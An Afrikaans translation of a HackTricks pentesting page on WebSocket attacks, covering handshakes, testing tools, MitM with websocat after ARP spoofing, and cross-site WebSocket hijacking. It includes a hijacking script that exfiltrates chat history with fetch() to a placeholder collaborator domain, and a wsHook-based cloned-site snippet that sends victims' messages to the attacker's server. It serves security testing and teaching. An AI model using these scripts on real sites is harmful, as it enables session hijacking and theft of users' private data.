12 KiB
WebSocket Aanvalle
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.
Wat is WebSockets
WebSocket-verbindinge word tot stand gebring deur 'n aanvanklike HTTP handskud en is ontwerp om langdurig te wees, wat bidireksionele boodskappe op enige tyd moontlik maak sonder die nodig vir 'n transaksionele stelsel. Dit maak WebSockets besonders voordelig vir toepassings wat lae latensie of bediener-geïnisieerde kommunikasie vereis, soos lewendige finansiële datastrome.
Vestiging van WebSocket-verbindinge
'n Gedetailleerde verduideliking oor die vestiging van WebSocket-verbindinge kan hier geraadpleeg word hier. Kortliks word WebSocket-verbindinge gewoonlik geïnisieer deur kliëntkant JavaScript soos hieronder getoon:
var ws = new WebSocket("wss://normal-website.com/ws");
Die wss
protokol dui op 'n WebSocket verbinding wat beveilig is met TLS, terwyl ws
'n onbeveiligde verbinding aandui.
Tydens die verbinding totstandkoming, word 'n handshake uitgevoer tussen die webblaaier en bediener oor HTTP. Die handshake proses behels dat die webblaaier 'n versoek stuur en die bediener antwoord, soos geïllustreer in die volgende voorbeelde:
Webblaaier stuur 'n handshake versoek:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Bediener se handskud-reaksie:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Die verbinding bly oop vir boodskapuitruiling in beide rigtings nadat dit gevestig is.
Kernpunte van die WebSocket Handshake:
- Die
Connection
enUpgrade
koppele dui die begin van 'n WebSocket handshake aan. - Die
Sec-WebSocket-Version
kop dui die gewenste WebSocket-protokolverisie aan, gewoonlik13
. - 'n Base64-gekodeerde lukrake waarde word gestuur in die
Sec-WebSocket-Key
kop, wat verseker dat elke handshake uniek is en help om probleme met opgeslane proksi's te voorkom. Hierdie waarde is nie vir outentisering nie, maar om te bevestig dat die respons nie deur 'n verkeerd gekonfigureerde bediener of opgeslote gegenereer word nie. - Die
Sec-WebSocket-Accept
kop in die bediener se respons is 'n has van dieSec-WebSocket-Key
, wat die bediener se voorneme om 'n WebSocket-verbinding oop te maak, bevestig.
Hierdie kenmerke verseker dat die handshake-proses veilig en betroubaar is, wat die pad baan vir doeltreffende werklike tyd kommunikasie.
Linux-konsole
Jy kan websocat
gebruik om 'n rou verbinding met 'n websocket te vestig.
websocat --insecure wss://10.10.10.10:8000 -v
Of om 'n websocat-bediener te skep:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM-websocket-verbinding
As jy vind dat kliënte gekoppel is aan 'n HTTP-websocket vanaf jou huidige plaaslike netwerk, kan jy 'n ARP Spoofing-aanval probeer om 'n MitM-aanval tussen die kliënt en die bediener uit te voer.
Sodra die kliënt probeer om te koppel, kan jy dan gebruik maak van:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets opsporing
Jy kan die werktuig https://github.com/PalindromeLabs/STEWS gebruik om outomaties websockets te ontdek, vingerafdruk te neem en te soek vir bekende kwesbaarhede.
Websocket Debug-werktuie
- Burp Suite ondersteun MitM websockets kommunikasie op 'n baie soortgelyke manier as vir gewone HTTP kommunikasie.
- Die socketsleuth Burp Suite-uitbreiding sal jou in staat stel om Websocket kommunikasie beter te bestuur in Burp deur die geskiedenis te kry, onderskeppingreëls in te stel, pas en vervang reëls te gebruik, Intruder en AutoRepeater te gebruik.
- WSSiP: Afkorting vir "WebSocket/Socket.io Proxy", hierdie werktuig, geskryf in Node.js, bied 'n gebruikerskoppelvlak om alle WebSocket- en Socket.IO-kommunikasie tussen die kliënt en bediener te vang, onderskep, aangepaste boodskappe te stuur en te sien.
- wsrepl is 'n interaktiewe websocket REPL wat spesifiek ontwerp is vir penetrasietoetsing. Dit bied 'n koppelvlak om inkomende websocket-boodskappe waar te neem en nuwes te stuur, met 'n maklik-om-te-gebruik raamwerk vir die outomatiese kommunikasie.
- https://websocketking.com/ dit is 'n web om te kommunikeer met ander webwerwe deur gebruik te maak van websockets.
- https://hoppscotch.io/realtime/websocket onder andere tipes kommunikasie/protokolle, bied dit 'n web om te kommunikeer met ander webwerwe deur gebruik te maak van websockets.
Websocket-laboratorium
In Burp-Suite-Extender-Montoya-Course het jy 'n kode om 'n webwerf te begin met behulp van websockets en in hierdie pos kan jy 'n verduideliking vind.
Cross-site WebSocket-ontvoering (CSWSH)
Cross-site WebSocket-ontvoering, ook bekend as cross-origin WebSocket-ontvoering, word geïdentifiseer as 'n spesifieke geval van Cross-Site Request Forgery (CSRF) wat WebSocket-handskommunikasies affekteer. Hierdie kwesbaarheid ontstaan wanneer WebSocket-handskommunikasies slegs geverifieer word deur middel van HTTP-koekies sonder CSRF-token of soortgelyke sekuriteitsmaatreëls.
Aanvallers kan dit uitbuit deur 'n skadelike webbladsy te hê wat 'n kruis-oorsprong WebSocket-verbinding met 'n kwesbare toepassing inisieer. Gevolglik word hierdie verbinding beskou as deel van die slagoffer se sessie met die toepassing, wat die gebrek aan CSRF-beskerming in die sessiehanteringmeganisme uitbuit.
Eenvoudige Aanval
Let daarop dat wanneer 'n websocket-verbinding opgestel word, die koekie na die bediener gestuur word. Die bediener kan dit gebruik om elke spesifieke gebruiker te koppel aan sy websocket-sessie gebaseer op die gestuurde koekie.
Dus, as byvoorbeeld die websocket-bediener die geskiedenis van die gesprek terugstuur van 'n gebruiker as 'n boodskap met "READY" gestuur word, sal 'n eenvoudige XSS wat die verbinding opstel (die koekie sal outomaties gestuur word om die slagoffer-gebruiker te magtig) deur "READY" te stuur in staat wees om die geskiedenis van die gesprek te herwin.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Kruis Oorsprong + Koekie met 'n ander subdomein
In hierdie blogpos https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ het die aanvaller daarin geslaag om arbitrêre Javascript in 'n subdomein van die domein waar die websocket kommunikasie plaasvind, uit te voer. Omdat dit 'n subdomein was, is die koekie gestuur, en omdat die Websocket nie die Oorsprong behoorlik nagegaan het nie, was dit moontlik om daarmee te kommunikeer en tokens daaruit te steel.
Steel data van gebruiker
Kopieer die webtoepassing wat jy wil naboots (die .html-lêers byvoorbeeld) en voeg hierdie kode by binne die skrips waar die websocket kommunikasie plaasvind:
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
Laai nou die wsHook.js
lêer af vanaf https://github.com/skepticfx/wshook en stoor dit binne die vouer met die web lêers.
Deur die webtoepassing bloot te stel en 'n gebruiker daarmee te laat verbind, sal jy in staat wees om die gestuurde en ontvangste boodskappe via die websocket te steel:
sudo python3 -m http.server 80
Wedloopvoorwaardes
Wedloopvoorwaardes in WebSockets is ook 'n ding, kyk hierdie inligting om meer te leer.
Ander kwesbaarhede
Aangesien WebSockets 'n meganisme is om data na die bedienerkant en kliëntkant te stuur, afhangende van hoe die bediener en kliënt die inligting hanteer, kan WebSockets gebruik word om verskeie ander kwesbaarhede soos XSS, SQLi of enige ander algemene web-kwesbaarheid te misbruik deur die inset van 'n gebruiker van 'n websocket.
WebSocket Smuggling
Hierdie kwesbaarheid kan jou in staat stel om omgekeerde proksi-beperkings te omseil deur hulle te laat glo dat 'n websocket-kommunikasie tot stand gebring is (selfs al is dit nie waar nie). Dit kan 'n aanvaller in staat stel om toegang te verkry tot verborge eindpunte. Vir meer inligting, kyk na die volgende bladsy:
{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}
Verwysings
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks-uitrusting
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslagplekke.